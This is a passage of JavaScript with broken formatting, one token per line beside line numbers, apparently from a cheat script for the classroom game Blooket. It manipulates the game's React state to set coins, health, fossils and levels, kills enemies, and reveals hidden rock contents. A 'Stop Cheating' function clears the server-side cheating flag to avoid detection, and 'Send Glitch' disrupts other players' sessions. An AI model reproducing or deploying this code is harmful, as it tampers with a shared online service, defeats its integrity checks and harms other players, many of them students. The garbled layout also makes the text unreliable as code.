= 50, e
.stats
.ghostDetect
= !0, e
.stats
.maxTargets
= 1e6
, e
.stats
.numProjectiles
&&= 100, e
.stats
.range
= 100, e
.stats
.auraBuffs
)
1894 for (let t
in e
.stats
.auraBuffs
) e
.stats
.auraBuffs
[t
] *= 100
1898 name
: "Kill Enemies",
1899 description
: "Kills all the enemies",
1901 var e
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
1902 e
.state
.game
.scene
.enemyQueue
.length
= 0, e
.state
.game
.scene
.physics
.world
.bodies
.entries
.forEach(e
=> e
?.gameObject
?.receiveDamage
?.(e
.gameObject
.hp
, 1))
1906 description
: "Sets coins",
1908 var e
= document
.createElement("iframe");
1909 document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove(), Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.setState({
1910 coins
: Number(parseInt(prompt("How many tokens would you like?")))
1915 description
: "Sets the amount of health you have",
1917 var t
= document
.createElement("iframe");
1918 document
.body
.append(t
), window
.prompt
= t
.contentWindow
.prompt
.bind(window
), t
.remove(), Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.setState({
1919 health
: Number(parseInt(prompt("How much health do you want?")))
1924 description
: "Sets the current round",
1926 var t
= document
.createElement("iframe");
1927 document
.body
.append(t
), window
.prompt
= t
.contentWindow
.prompt
.bind(window
), t
.remove(), Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.setState({
1928 round
: Number(parseInt(prompt("What round do you want to set to?")))
1933 name
: "Auto Choose",
1934 description
: "Automatically choose the best fossil when excavating",
1940 this.enabled
= false;
1941 clearInterval(this.data
);
1944 this.enabled
= true;
1945 this.data
= setInterval(() => {
1946 const cheat
= (async () => {
1947 function rand(e
, t
) {
1949 while (s
.length
< t
) {
1950 const i
= Math
.random();
1953 for (let o
= 0; o
< e
.length
; o
++) {
1960 g
&& !s
.includes(g
) && s
.push(g
);
1968 } = Object
.values((function react(r
= document
.querySelector("body>div")) {
1969 return Object
.values(r
)[1]?.children
?.[0]?._owner
.stateNode
? r
: react(r
.querySelector(":scope>div"))
1970 })())[1].children
[0]._owner
;
1972 if (stateNode
.state
.stage
=== "excavate") {
1973 stateNode
.state
.choices
.length
|| (stateNode
.state
.choices
= rand([{
1989 blook
: "Dino Fossil"
1995 blook
: "Stegosaurus"
2001 blook
: "Velociraptor"
2007 blook
: "Brontosaurus"
2013 blook
: "Triceratops"
2019 blook
: "Tyrannosaurus Rex"
2035 for (let i
= 0; i
< stateNode
.state
.choices
.length
; i
++) {
2039 } = stateNode
.state
.choices
[i
];
2040 const value
= (type
== "fossil" ? stateNode
.state
.fossils
+ val
* stateNode
.state
.fossilMult
: stateNode
.state
.fossils
* val
) || 0;
2041 if (value
<= max
&& type
!= "mult") continue;
2046 document
.querySelector('div[class*=rockRow] > div[role="button"]:nth-child(' + index
+ ')').click();
2056 description
: "Shows what is under the rocks",
2061 let e
= ["⁰", "\xb9", "\xb2", "\xb3", "⁴", "⁵", "⁶", "⁷", "⁸", "⁹"],
2064 for (; t
> 0;) a
= e
[t
% parseInt("10")] + a
, t
= ~~(t
/ 10);
2068 let a
= e
.toString();
2070 let o
= ["", "K", "M", "B", "T"],
2071 r
= ~~((digits(e
) - 1) / 3);
2074 for (let n
= 3; n
>= 1; n
--) {
2075 i
= parseFloat((0 !== r
? e
/ 1e3
** r
: e
).toPrecision(n
)).toString();
2076 let s
= i
.replace(/[^a-zA-Z 0-9]+/g, "");
2077 if (s
.length
<= 3) break
2079 Number(i
) % 1 != 0 && (i
= Number(i
).toFixed(1)), a
= i
+ o
[r
]
2083 for (; l
>= 100;) l
= Math
.floor(l
/ 10), c
+= 1;
2084 a
= `${l/10} \xd7 10${t(c+1)}`
2089 this.enabled
? (this.enabled
= !1, clearInterval(this.data
), this.data
= null) : (this.enabled
= !0, this.data
= setInterval(() => {
2092 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
2093 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
2094 }())[1].children
[0]._owner
, t
= [...document
.querySelector('[class*="rockButton"]').parentElement
.children
];
2095 t
.every(e
=> e
.querySelector("div")) || e
.setState({
2110 blook
: "Dino Fossil"
2115 blook
: "Stegosaurus"
2120 blook
: "Velociraptor"
2125 blook
: "Brontosaurus"
2130 blook
: "Triceratops"
2135 blook
: "Tyrannosaurus Rex"
2144 }].sort(() => .5 - Math
.random()).slice(0, 3)
2146 t
.forEach((t
, o
) => {
2147 let r
= e
.state
.choices
[o
];
2148 t
.querySelector("div") && t
.querySelector("div").remove();
2149 let i
= document
.createElement("div");
2150 i
.style
.color
= "white", i
.style
.fontFamily
= "Macondo", i
.style
.fontSize
= "1em", i
.style
.display
= "flex", i
.style
.justifyContent
= "center", i
.style
.transform
= "translateY(25px)", i
.innerText
= "fossil" === r
.type
? `+${Math.round(r.val*e.state.fossilMult)>99999999?a(Math.round(r.val*e.state.fossilMult)):Math.round(r.val*e.state.fossilMult)} Fossils` : `x${r.val} Fossils Per Excavation`, t
.append(i
)
2156 name
: "Set Fossils",
2157 description
: "Sets the amount of fossils you have",
2159 var e
= document
.createElement("iframe"),
2160 e
= (document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove(), Number(parseInt(prompt("How many fossils would you like?")))),
2161 t
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
2164 }), t
.props
.liveGameController
.setVal({
2165 path
: "c/" + t
.props
.client
.name
,
2167 b
: t
.props
.client
.blook
,
2169 ic
: t
.state
.isCheating
2174 name
: "Set Multiplier",
2175 description
: "Sets fossil multiplier",
2177 var e
= document
.createElement("iframe"),
2178 e
= (document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove(), Number(parseInt(prompt("What do you want your multiplier to be?"))));
2179 Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.setState({
2184 name
: "Stop Cheating",
2185 description
: "Undoes cheating so that you can't be caught",
2187 var e
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
2190 }), e
.props
.liveGameController
.setVal({
2191 path
: `c/${e.props.client.name}/ic`,
2198 description
: "Fills your deck with every maxed out card and artifact (Only works on towers page)",
2200 let e
= document
.createElement("iframe");
2201 if (document
.body
.append(e
), window
.alert
= e
.contentWindow
.alert
.bind(window
), e
.remove(), "/tower/map" == window
.location
.pathname
) {
2204 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
2205 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
2206 }())[1].children
[0]._owner
;
2207 t
.props
.tower
.artifacts
= "Medical Kit|Fury Relic|Survival Guide|Steel Socks|Piggy Bank|Lucky Feather|Coupon|Cheese|Tasty Egg|Training Weights|Mighty Shield|Toxic Waste|Lifeline Totem|Cursed Hourglass|Band-Aid|Elder Coins|Captain's Anchor|Chess Pieces|Pink Hippo|Anorak's Wizard Cap|Dave's Doggo|Anubis' Obelisk|Farm Tractor|Magic Seedling|Just A Bone|Cozy Igloo|King's Crown|Sacred Scroll".split("|"), t
.props
.tower
.cards
= "Chick,\uD83C\uDF3D|Chicken,\uD83C\uDF3D|Cow,\uD83C\uDF3D|Goat,\uD83C\uDF3D|Horse,\uD83C\uDF3D|Pig,\uD83C\uDF3D|Sheep,\uD83C\uDF3D|Duck,\uD83C\uDF3D|Dog,\uD83C\uDF3D|Cat,\uD83D\uDC3E|Rabbit,\uD83D\uDC3E|Goldfish,\uD83D\uDC3E|Hamster,\uD83D\uDC3E|Turtle,\uD83D\uDC3E|Kitten,\uD83D\uDC3E|Puppy,\uD83D\uDC3E|Bear,\uD83C\uDF32|Moose,\uD83C\uDF32|Fox,\uD83C\uDF32|Raccoon,\uD83C\uDF32|Squirrel,\uD83C\uDF32|Owl,\uD83C\uDF32|Hedgehog,\uD83C\uDF32|Baby Penguin,❄️|Penguin,❄️|Arctic Fox,❄️|Snowy Owl,❄️|Polar Bear,❄️|Arctic Hare,❄️|Seal,❄️|Walrus,❄️|Tiger,\uD83C\uDF34|Panther,\uD83C\uDF34|Cockatoo,\uD83C\uDF34|Orangutan,\uD83C\uDF34|Anaconda,\uD83C\uDF34|Macaw,\uD83C\uDF34|Jaguar,\uD83C\uDF34|Capuchin,\uD83C\uDF34|Toucan,\uD83C\uDF34|Parrot,\uD83C\uDF34|Elf,⚔️|Witch,⚔️|Wizard,⚔️|Fairy,⚔️|Slime Monster,⚔️|Jester,⚔️|Dragon,⚔️|Unicorn,⚔️|Queen,⚔️|King,⚔️|Snow Globe,☃️|Holiday Gift,☃️|Hot Chocolate,☃️|Gingerbread Man,☃️|Gingerbread House,☃️|Holiday Wreath,☃️|Snowman,☃️|Santa Claus,☃️|Two of Spades,\uD83C\uDFF0|Eat Me,\uD83C\uDFF0|Drink Me,\uD83C\uDFF0|Alice,\uD83C\uDFF0|Queen of Hearts,\uD83C\uDFF0|Dormouse,\uD83C\uDFF0|White Rabbit,\uD83C\uDFF0|Cheshire Cat,\uD83C\uDFF0|Caterpillar,\uD83C\uDFF0|Mad Hatter,\uD83C\uDFF0|King of Hearts,\uD83C\uDFF0".split("|").map(e
=> {
2208 let [t
, o
] = e
.split(",");
2218 t
.props
.addTowerNode()
2223 } else alert("You need to be on the map to run this cheat!")
2227 description
: "Maxes out all the cards in your deck",
2229 var e
= document
.createElement("iframe");
2230 document
.body
.append(e
), window
.alert
= e
.contentWindow
.alert
.bind(window
), e
.remove(), "/tower/map" == window
.location
.pathname
? (e
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
).props
.tower
.cards
.forEach(e
=> {
2231 e
.strength
= 20, e
.charisma
= 20, e
.wisdom
= 20
2232 }) : alert("You need to be on the map to run this cheat!")
2236 description
: "Fills the player's health",
2238 var e
= document
.createElement("iframe");
2239 document
.body
.append(e
), window
.alert
= e
.contentWindow
.alert
.bind(window
), e
.remove(), "/tower/battle" == window
.location
.pathname
? Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.setState({
2241 }) : alert("You need to be in battle to run this cheat!")
2244 name
: "Max Card Stats",
2245 description
: "Maxes out player's current card (Only works on attribute select page)",
2247 var e
= document
.createElement("iframe"),
2248 e
= (document
.body
.append(e
), window
.alert
= e
.contentWindow
.alert
.bind(window
), e
.remove(), Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
).stateNode
;
2249 "select" !== e
.state
.phase
? alert("You must be on the attribute selection page!") : e
.setState({
2259 name
: "Min Enemy Stats",
2260 description
: "Makes the enemy card stats all 0 (Only works on attribute select page)",
2262 var e
= document
.createElement("iframe"),
2263 e
= (document
.body
.append(e
), window
.alert
= e
.contentWindow
.alert
.bind(window
), e
.remove(), Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
).stateNode
;
2264 "select" !== e
.state
.phase
? alert("You must be on the attribute selection page!") : e
.setState({
2266 ...e
.state
.enemyCard
,
2275 description
: "Try's to set amount of tower coins you have",
2277 var e
= document
.createElement("iframe");
2278 if (document
.body
.append(e
), window
.alert
= e
.contentWindow
.prompt
.bind(window
), e
.remove(), "/tower/battle" == window
.location
.pathname
) {
2279 var e
= parseInt("0" + alert("How many coins would you like?")),
2280 t
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
2282 t
.props
.setTowerCoins(e
)
2284 } else alert("You need to be in battle to run this cheat!")
2288 name
: "Choose Blook",
2289 description
: "Gives you a blook",
2291 let e
= document
.createElement("iframe");
2292 document
.body
.append(e
), window
.alert
= e
.contentWindow
.alert
.bind(window
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove();
2295 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
2296 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
2297 }())[1].children
[0]._owner
, o
= [{
2300 class: "\uD83C\uDF3D",
2302 cash
: [3, 7, 65, 400, 2500],
2303 time
: [1, 1, 1, 1, 1],
2304 price
: [300, 3e3
, 3e4
, 2e5
]
2308 class: "\uD83C\uDF3D",
2310 cash
: [10, 40, 200, 1400, 1e4
],
2311 time
: [5, 4, 3, 2, 1],
2312 price
: [570, 4e3
, 5e4
, 8e5
]
2316 class: "\uD83C\uDF3D",
2318 cash
: [25, 75, 1500, 25e3
, 25e4
],
2319 time
: [15, 10, 10, 10, 5],
2320 price
: [500, 9500, 16e4
, 4e6
]
2324 class: "\uD83C\uDF3D",
2326 cash
: [4, 24, 200, 3e3
, 4e4
],
2327 time
: [3, 3, 3, 3, 3],
2328 price
: [450, 4200, 7e4
, 11e5
]
2332 class: "\uD83C\uDF3D",
2334 cash
: [5, 28, 200, 1300, 12e3
],
2335 time
: [3, 3, 2, 2, 2],
2336 price
: [500, 6400, 45e3
, 5e5
]
2340 class: "\uD83C\uDF3D",
2342 cash
: [5, 20, 270, 1800, 15e3
],
2343 time
: [2, 2, 2, 2, 2],
2344 price
: [550, 8200, 65e3
, 6e5
]
2348 class: "\uD83C\uDF3D",
2350 cash
: [20, 50, 1300, 8e3
, 8e4
],
2351 time
: [7, 7, 7, 7, 5],
2352 price
: [400, 11e3
, 8e4
, 13e5
]
2356 class: "\uD83C\uDF3D",
2358 cash
: [6, 25, 250, 1500, 11e3
],
2359 time
: [3, 3, 3, 2, 2],
2360 price
: [500, 5e3
, 5e4
, 43e4
]
2364 class: "\uD83D\uDC3E",
2366 cash
: [5, 18, 170, 1700, 13e3
],
2367 time
: [2, 2, 2, 2, 2],
2368 price
: [480, 5500, 6e4
, 5e5
]
2372 class: "\uD83D\uDC3E",
2374 cash
: [7, 25, 220, 1900, 9e3
],
2375 time
: [3, 3, 2, 2, 1],
2376 price
: [460, 6600, 7e4
, 73e4
]
2380 class: "\uD83D\uDC3E",
2382 cash
: [5, 40, 350, 3500, 35e3
],
2383 time
: [3, 3, 3, 3, 3],
2384 price
: [750, 7200, 84e3
, 95e4
]
2388 class: "\uD83D\uDC3E",
2390 cash
: [3, 18, 185, 800, 7e3
],
2391 time
: [2, 2, 2, 1, 1],
2392 price
: [500, 5800, 56e3
, 55e4
]
2396 class: "\uD83D\uDC3E",
2398 cash
: [10, 45, 450, 4500, 45e3
],
2399 time
: [4, 4, 4, 4, 4],
2400 price
: [650, 6500, 8e4
, 93e4
]
2404 class: "\uD83D\uDC3E",
2406 cash
: [23, 120, 1400, 15e3
, 17e4
],
2407 time
: [10, 10, 10, 10, 10],
2408 price
: [700, 8500, 11e4
, 13e5
]
2412 class: "\uD83D\uDC3E",
2414 cash
: [4, 10, 75, 500, 3e3
],
2415 time
: [1, 1, 1, 1, 1],
2416 price
: [450, 4e3
, 35e3
, 25e4
]
2420 class: "\uD83D\uDC3E",
2422 cash
: [4, 8, 60, 400, 2e3
],
2423 time
: [1, 1, 1, 1, 1],
2424 price
: [350, 3500, 26e3
, 17e4
]
2428 class: "\uD83C\uDF32",
2430 cash
: [12, 70, 550, 4500, 1e5
],
2431 time
: [7, 7, 6, 5, 5],
2432 price
: [550, 5500, 63e3
, 16e5
]
2436 class: "\uD83C\uDF32",
2438 cash
: [8, 45, 400, 3500, 26e3
],
2439 time
: [5, 5, 4, 4, 3],
2440 price
: [520, 6500, 58e3
, 7e5
]
2444 class: "\uD83C\uDF32",
2446 cash
: [7, 15, 80, 550, 3e3
],
2447 time
: [2, 2, 1, 1, 1],
2448 price
: [400, 4e3
, 36e3
, 24e4
]
2452 class: "\uD83C\uDF32",
2454 cash
: [5, 14, 185, 1900, 19e3
],
2455 time
: [2, 2, 2, 2, 2],
2456 price
: [400, 5e3
, 71e3
, 8e5
]
2460 class: "\uD83C\uDF32",
2462 cash
: [3, 10, 65, 470, 2600],
2463 time
: [1, 1, 1, 1, 1],
2464 price
: [420, 3600, 32e3
, 21e4
]
2468 class: "\uD83C\uDF32",
2470 cash
: [4, 17, 155, 1500, 15e3
],
2471 time
: [2, 2, 2, 2, 2],
2472 price
: [500, 4800, 55e3
, 58e4
]
2476 class: "\uD83C\uDF32",
2478 cash
: [11, 37, 340, 2200, 3e4
],
2479 time
: [5, 4, 3, 2, 2],
2480 price
: [540, 7e3
, 77e3
, 12e5
]
2486 cash
: [6, 17, 150, 1200, 13e3
],
2487 time
: [2, 2, 2, 2, 2],
2488 price
: [480, 4500, 43e3
, 52e4
]
2494 cash
: [5, 18, 180, 850, 8500],
2495 time
: [2, 2, 2, 1, 1],
2496 price
: [520, 550, 61e3
, 68e4
]
2502 cash
: [5, 20, 190, 1900, 16e3
],
2503 time
: [3, 3, 2, 2, 2],
2504 price
: [370, 5300, 76e3
, 62e4
]
2506 name
: "Arctic Hare",
2510 cash
: [6, 19, 85, 900, 7e3
],
2511 time
: [2, 2, 1, 1, 1],
2512 price
: [540, 5200, 66e3
, 55e4
]
2518 cash
: [4, 21, 310, 3200, 33e3
],
2519 time
: [3, 3, 3, 3, 3],
2520 price
: [400, 6500, 76e3
, 87e4
]
2522 name
: "Baby Penguin",
2526 cash
: [3, 8, 70, 450, 2700],
2527 time
: [1, 1, 1, 1, 1],
2528 price
: [420, 3300, 33e3
, 23e4
]
2534 cash
: [12, 75, 700, 6500, 85e3
],
2535 time
: [8, 7, 6, 5, 5],
2536 price
: [630, 7e3
, 91e3
, 14e5
]
2542 cash
: [11, 46, 420, 3700, 51e3
],
2543 time
: [5, 5, 4, 4, 4],
2544 price
: [550, 6200, 68e3
, 1e6
]
2548 class: "\uD83C\uDF34",
2550 cash
: [6, 20, 100, 975, 7500],
2551 time
: [3, 3, 1, 1, 1],
2552 price
: [390, 6e3
, 7e4
, 61e4
]
2556 class: "\uD83C\uDF34",
2558 cash
: [8, 28, 230, 1600, 17e3
],
2559 time
: [3, 3, 2, 2, 2],
2560 price
: [390, 6e3
, 7e4
, 61e4
]
2564 class: "\uD83C\uDF34",
2566 cash
: [9, 20, 175, 625, 3800],
2567 time
: [2, 2, 2, 1, 1],
2568 price
: [520, 4800, 42e3
, 3e5
]
2572 class: "\uD83C\uDF34",
2574 cash
: [6, 35, 160, 1700, 18e3
],
2575 time
: [4, 4, 2, 2, 2],
2576 price
: [500, 5e3
, 63e3
, 7e5
]
2580 class: "\uD83C\uDF34",
2582 cash
: [3, 8, 85, 850, 8500],
2583 time
: [1, 1, 1, 1, 1],
2584 price
: [480, 5400, 62e3
, 63e4
]
2588 class: "\uD83C\uDF34",
2590 cash
: [3, 9, 90, 900, 9e3
],
2591 time
: [1, 1, 1, 1, 1],
2592 price
: [540, 5700, 65e3
, 69e4
]
2596 class: "\uD83C\uDF34",
2598 cash
: [12, 28, 215, 2100, 21e3
],
2599 time
: [5, 3, 2, 2, 2],
2600 price
: [530, 6500, 76e3
, 87e4
]
2604 class: "\uD83C\uDF34",
2606 cash
: [3, 15, 85, 1500, 7600],
2607 time
: [1, 2, 1, 2, 1],
2608 price
: [410, 5100, 58e3
, 59e4
]
2612 class: "\uD83C\uDF34",
2614 cash
: [13, 52, 570, 4300, 7e4
],
2615 time
: [5, 5, 5, 4, 4],
2616 price
: [600, 7e3
, 8e4
, 14e5
]
2620 class: "\uD83C\uDF34",
2622 cash
: [4, 14, 160, 780, 8200],
2623 time
: [2, 2, 2, 1, 1],
2624 price
: [390, 4700, 57e3
, 68e4
]
2630 cash
: [5e3
, 15e3
, 15e4
, 15e5
, 1e7
],
2631 time
: [1, 1, 1, 1, 1],
2632 price
: [8e5
, 9e6
, 11e7
, 8e8
]
2638 cash
: [18e3
, 6e4
, 4e4
, 4e6
, 35e6
],
2639 time
: [3, 3, 2, 2, 2],
2640 price
: [11e5
, 12e6
, 15e7
, 14e8
]
2646 cash
: [19500, 65e3
, 44e4
, 46e5
, 4e6
],
2647 time
: [3, 3, 2, 2, 2],
2648 price
: [13e5
, 135e5
, 16e7
, 16e8
]
2654 cash
: [18500, 6e4
, 62e4
, 44e5
, 38e6
],
2655 time
: [3, 3, 3, 2, 2],
2656 price
: [12e5
, 125e5
, 15e6
, 15e8
]
2658 name
: "Slime Monster",
2662 cash
: [35e3
, 14e4
, 1e6
, 11e6
, 11e7
],
2663 time
: [5, 5, 4, 4, 4],
2664 price
: [16e5
, 15e6
, 2e8
, 23e8
]
2670 cash
: [25e3
, 1e5
, 68e4
, 65e5
, 32e6
],
2671 time
: [3, 3, 2, 2, 1],
2672 price
: [2e6
, 21e6
, 23e7
, 26e8
]
2678 cash
: [36e3
, 15e4
, 15e5
, 15e6
, 15e7
],
2679 time
: [4, 4, 4, 4, 4],
2680 price
: [23e5
, 24e6
, 27e7
, 3e9
]
2686 cash
: [24e3
, 15e4
, 14e5
, 7e6
, 75e6
],
2687 time
: [2, 2, 2, 1, 1],
2688 price
: [45e5
, 45e6
, 55e7
, 65e8
]
2694 cash
: [24e3
, 95e3
, 95e4
, 97e5
, 95e6
],
2695 time
: [3, 3, 3, 3, 3],
2696 price
: [19e5
, 2e7
, 23e7
, 25e8
]
2701 rarity
: "Legendary",
2702 cash
: [75e3
, 4e5
, 6e6
, 9e7
, 125e7
],
2703 time
: [5, 5, 5, 5, 5],
2704 price
: [6e6
, 95e6
, 16e8
, 25e9
]
2706 name
: "Two of Spades",
2708 class: "\uD83C\uDFF0",
2710 cash
: [4500, 14e3
, 14e4
, 14e5
, 9e6
],
2711 time
: [1, 1, 1, 1, 1],
2712 price
: [77e4
, 83e5
, 98e6
, 71e7
]
2716 class: "\uD83C\uDFF0",
2718 cash
: [13e3
, 45e3
, 45e4
, 45e5
, 5e7
],
2719 time
: [2, 2, 2, 2, 2],
2720 price
: [13e5
, 14e6
, 16e7
, 2e9
]
2724 class: "\uD83C\uDFF0",
2726 cash
: [12e3
, 4e4
, 4e5
, 4e6
, 45e6
],
2727 time
: [2, 2, 2, 2, 2],
2728 price
: [12e5
, 12e6
, 14e7
, 18e8
]
2732 class: "\uD83C\uDFF0",
2734 cash
: [13e3
, 42e3
, 21e4
, 21e5
, 23e6
],
2735 time
: [2, 2, 1, 1, 1],
2736 price
: [12e5
, 13e6
, 15e7
, 19e8
]
2738 name
: "Queen of Hearts",
2740 class: "\uD83C\uDFF0",
2742 cash
: [23e3
, 87e3
, 62e4
, 75e5
, 9e7
],
2743 time
: [4, 4, 3, 3, 3],
2744 price
: [13e5
, 13e6
, 18e7
, 24e8
]
2748 class: "\uD83C\uDFF0",
2750 cash
: [17e3
, 68e3
, 7e5
, 35e5
, 35e6
],
2751 time
: [2, 2, 1, 1, 1],
2752 price
: [2e6
, 22e6
, 25e7
, 28e8
]
2754 name
: "White Rabbit",
2756 class: "\uD83C\uDFF0",
2758 cash
: [26e3
, 105e3
, 11e6
, 77e5
, 72e6
],
2759 time
: [3, 3, 3, 2, 2],
2760 price
: [2e6
, 23e6
, 28e7
, 29e8
]
2762 name
: "Cheshire Cat",
2764 class: "\uD83C\uDFF0",
2766 cash
: [32e3
, 1e5
, 9e5
, 9e6
, 6e7
],
2767 time
: [4, 3, 3, 3, 2],
2768 price
: [18e5
, 19e6
, 22e7
, 24e8
]
2770 name
: "Caterpillar",
2772 class: "\uD83C\uDFF0",
2774 cash
: [1e4
, 7e4
, 65e4
, 75e5
, 85e6
],
2775 time
: [1, 1, 1, 1, 1],
2776 price
: [42e5
, 42e6
, 54e7
, 69e8
]
2780 class: "\uD83C\uDFF0",
2782 cash
: [38e3
, 25e4
, 15e5
, 14e6
, 8e7
],
2783 time
: [3, 3, 2, 2, 1],
2784 price
: [48e5
, 48e6
, 52e7
, 66e8
]
2786 name
: "King of Hearts",
2788 class: "\uD83C\uDFF0",
2789 rarity
: "Legendary",
2790 cash
: [8e4
, 42e4
, 68e5
, 1e8
, 15e8
],
2791 time
: [5, 5, 5, 5, 5],
2792 price
: [7e6
, 11e7
, 18e8
, 3e10
]
2796 class: "\uD83D\uDE80",
2798 cash
: [15e3
, 45e3
, 6e5
, 65e5
, 65e6
],
2799 time
: [3, 3, 3, 3, 3],
2800 price
: [1e6
, 11e6
, 15e7
, 17e8
]
2804 class: "\uD83D\uDE80",
2806 cash
: [23e3
, 65e3
, 7e5
, 45e5
, 2e7
],
2807 time
: [5, 4, 3, 2, 1],
2808 price
: [95e4
, 13e6
, 16e7
, 16e8
]
2812 class: "\uD83D\uDE80",
2814 cash
: [1e4
, 4e4
, 2e5
, 2e6
, 18e6
],
2815 time
: [2, 2, 1, 1, 1],
2816 price
: [14e5
, 14e6
, 15e7
, 15e8
]
2820 class: "\uD83D\uDE80",
2822 cash
: [3e4
, 1e5
, 1e6
, 11e6
, 85e6
],
2823 time
: [4, 4, 4, 4, 4],
2824 price
: [15e5
, 17e6
, 19e7
, 17e8
]
2828 class: "\uD83D\uDE80",
2830 cash
: [25e3
, 1e5
, 9e5
, 9e6
, 9e7
],
2831 time
: [3, 3, 3, 3, 3],
2832 price
: [2e6
, 21e6
, 21e7
, 24e8
]
2836 class: "\uD83D\uDE80",
2838 cash
: [17e3
, 7e4
, 7e5
, 7e6
, 7e7
],
2839 time
: [2, 2, 2, 2, 2],
2840 price
: [21e5
, 23e6
, 25e7
, 28e8
]
2844 class: "\uD83D\uDE80",
2846 cash
: [6e4
, 32e4
, 21e5
, 15e6
, 85e6
],
2847 time
: [5, 4, 3, 2, 1],
2848 price
: [48e5
, 46e6
, 54e7
, 68e8
]
2852 class: "\uD83D\uDE80",
2853 rarity
: "Legendary",
2854 cash
: [45e3
, 26e4
, 25e5
, 38e6
, 55e7
],
2855 time
: [3, 3, 2, 2, 2],
2856 price
: [65e5
, 1e8
, 17e8
, 27e9
]
2860 class: "\uD83E\uDD16",
2862 cash
: [4e3
, 12e3
, 18e4
, 19e5
, 25e6
],
2863 time
: [1, 1, 1, 1, 1],
2864 price
: [73e4
, 12e6
, 13e7
, 19e8
]
2868 class: "\uD83E\uDD16",
2870 cash
: [16e3
, 65e3
, 65e4
, 48e5
, 42e6
],
2871 time
: [3, 3, 3, 2, 2],
2872 price
: [13e5
, 14e6
, 17e7
, 16e8
]
2876 class: "\uD83E\uDD16",
2878 cash
: [22e3
, 85e3
, 8e5
, 62e5
, 65e6
],
2879 time
: [4, 4, 4, 3, 3],
2880 price
: [12e5
, 13e6
, 15e7
, 17e8
]
2884 class: "\uD83E\uDD16",
2886 cash
: [11e3
, 45e3
, 5e5
, 25e5
, 3e7
],
2887 time
: [2, 2, 2, 1, 1],
2888 price
: [14e5
, 15e6
, 18e7
, 24e8
]
2892 class: "\uD83E\uDD16",
2894 cash
: [24e3
, 1e5
, 1e6
, 1e7
, 1e8
],
2895 time
: [3, 3, 3, 3, 3],
2896 price
: [2e6
, 22e6
, 24e7
, 26e8
]
2900 class: "\uD83E\uDD16",
2902 cash
: [22e3
, 95e3
, 65e4
, 65e5
, 65e6
],
2903 time
: [3, 3, 2, 2, 2],
2904 price
: [19e5
, 21e6
, 23e7
, 25e8
]
2908 class: "\uD83E\uDD16",
2910 cash
: [5e4
, 25e4
, 21e5
, 21e6
, 17e7
],
2911 time
: [4, 3, 3, 3, 2],
2912 price
: [5e6
, 46e6
, 5e8
, 67e8
]
2916 class: "\uD83E\uDD16",
2917 rarity
: "Legendary",
2918 cash
: [8e4
, 43e4
, 42e5
, 62e6
, 1e9
],
2919 time
: [5, 5, 3, 3, 3],
2920 price
: [7e6
, 12e7
, 19e8
, 35e9
]
2924 return e
.toLowerCase() == this
2925 }, prompt("Enter blook name:").toLowerCase());
2926 o
? (t
.state
.blooks
.length
>= 10 && alert("Choose a blook to replace"), t
.chooseBlook(o
)) : alert("That is not a valid blook!")
2929 name
: "Free Upgrades",
2930 description
: "Sets upgrade prices to 0 for all current blooks",
2932 Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.setState(e
=> ({
2934 blooks
: e
.blooks
.map(e
=> ({
2942 description
: "Maxes out all your blooks' levels",
2944 Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.state
.blooks
.forEach(e
=> e
.level
= 4)
2947 name
: "Remove Glitches",
2948 description
: "Removes all enemy glitches",
2950 var e
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
2963 }), clearTimeout(e
.adTimeout
), clearInterval(e
.hazardInterval
), clearTimeout(e
.nightTimeout
), clearTimeout(e
.glitchTimeout
), clearTimeout(e
.lolTimeout
), clearTimeout(e
.jokeTimeout
), clearTimeout(e
.slowTimeout
), clearTimeout(e
.danceTimeout
), clearTimeout(e
.nameTimeout
)
2966 name
: "Send Glitch",
2967 description
: "Sends a glitch to everyone else playing",
2969 var e
= document
.createElement("iframe"),
2970 e
= (document
.body
.append(e
), window
.alert
= e
.contentWindow
.alert
.bind(window
), e
.remove(), Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
).stateNode
,
2985 o
= Object
.keys(t
)[Math
.floor(Math
.random() * Object
.keys(t
).length
)];
2986 e
.safe
= !0, e
.props
.liveGameController
.setVal({
2987 path
: `c/${e.props.client.name}/tat`,
2989 }), alert(`Sent a ${t[o]} glitch`)
2992 name
: "Set All MegaBot",
2993 description
: "Sets all your blooks to maxed out Mega Bots",
2995 Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.setState({
2996 blooks
: Array(10).fill({
2999 class: "\uD83E\uDD16",
3000 rarity
: "Legendary",
3001 cash
: [8e4
, 43e4
, 42e5
, 62e6
, 1e9
],
3002 time
: [5, 5, 3, 3, 3],
3003 price
: [7e6
, 12e7
, 19e8
, 35e9
